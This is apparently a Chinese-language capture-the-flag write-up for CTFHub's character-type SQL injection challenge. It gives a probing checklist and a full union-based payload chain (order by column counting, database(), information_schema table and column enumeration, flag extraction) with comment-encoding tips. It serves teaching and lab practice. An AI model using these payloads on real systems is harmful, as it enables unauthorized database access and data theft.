目录
?欢迎各位师傅以kill -9 的威力对文章进行检查,Zeus会认真分析听取各位师傅的留言。
步骤 | 测试数据 | 测试判断 |
1 | -1 或 +1 | 是否能够回显上一个或者下一个页面(判断是否有回显) |
2 | ' 或 " | 是否显示数据库错误信息; 根据回显内容判断是字符型还是数字型。 |
3 | and 1=1 and 1=2 | 回显的页面是否不同。(布尔类型的状态) |
4 | and sleep(X) | 判断页面的返回时间。 X --- 自然数 例:and sleep(5) |
5 | \ | 判断转义 |
主要关注的问题???????? | 解释 |
回显 | 数据库中的内容是否会回显到网页中。 |
数据库报错? ? ? ?? | 数据库报错信息是否会回显在网页中。 提交的数据 |
注释 | URL 中表现 |
减减空格(三个字符) 【-- 】 | --+ |
井号 【#】 | %23 |
内联注释 /* Zeus */ |
????????题目已经明了,这面旗是字符型注入。
最简单判断注入的类型:
????????根据报错内容,把符号过滤掉,如果报错信息带内容,那么就是字符型注入;如果报错信息未带内容,那么就是数字型注入。如第2张图,灰色扩住的是在输入框输入的命令(1')。
? ? ? ? 这就判断出来是字符型注入。
? ? ? ? 联合查询和报错注入是最省力的,如果该漏洞可以利用这两种进行注入,优先使用联合查询或报错注入。
判断能否使用联合查询:
????????根据页面是否回显内容,回显内容可使用联合查询,不回显内容不可使用。
????????如:第一张图。
判断能否使用报错注入:
????????根据页面是否回显报错信息,回显报错信息可使用报错注入,不回显报错信息不可使用。
???????? 如:第二张图。没有回显报错信息,那么不能使用报错注入。
????????如果猜想不错的话,CTFHub中SQL 板块都是两列。
如何判断:
1' order by 1 # ----- 回显 1' order by 2 # ----- 回显 1' order by 3 # ----- 不回显
第一个 ' 是为了闭合前面的 ' 。
# 号是为了注释掉后面的内容。?
????????union select 是联合查询语句,使用联合查询语句,需要将第一个select 语句执行错误。
????????两条select 语句,如果第一条语句执行正确,则不会回显第二条select 语句内容。
-1' union select database(),2 #
获取sqli 数据库下的所有表名。
? ? ? ? group_concat :将多行数据按照指定的顺序连接成一个字符串。也就是获取所有的意思。
? ? ? ? information_schema :在关系型数据库中常见的系统数据库,每一个数据库都会自动生成。
? ? ? ? information_schema:数据库包含了一系列的系统表,提供了关于数据库、表、列、索引、权限等元数据信息的访问接口,允许用户查询和获取数据库结构相关的信息。
?-1' union select group_concat(table_name),2 from information_schema.tables # select * from 表名
-1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='flag' # select * from 表名 where(限制条件) 条件1 and 条件2 and 条件3 ......
?????恭喜你!!!
? ???成功获取flag !!!
-1' union select flag,2 from flag #
或者在URL里用?--+ 备注类型。
?有困惑的地方,伙伴们尽管留言,Zeus会在第一时间进行回复。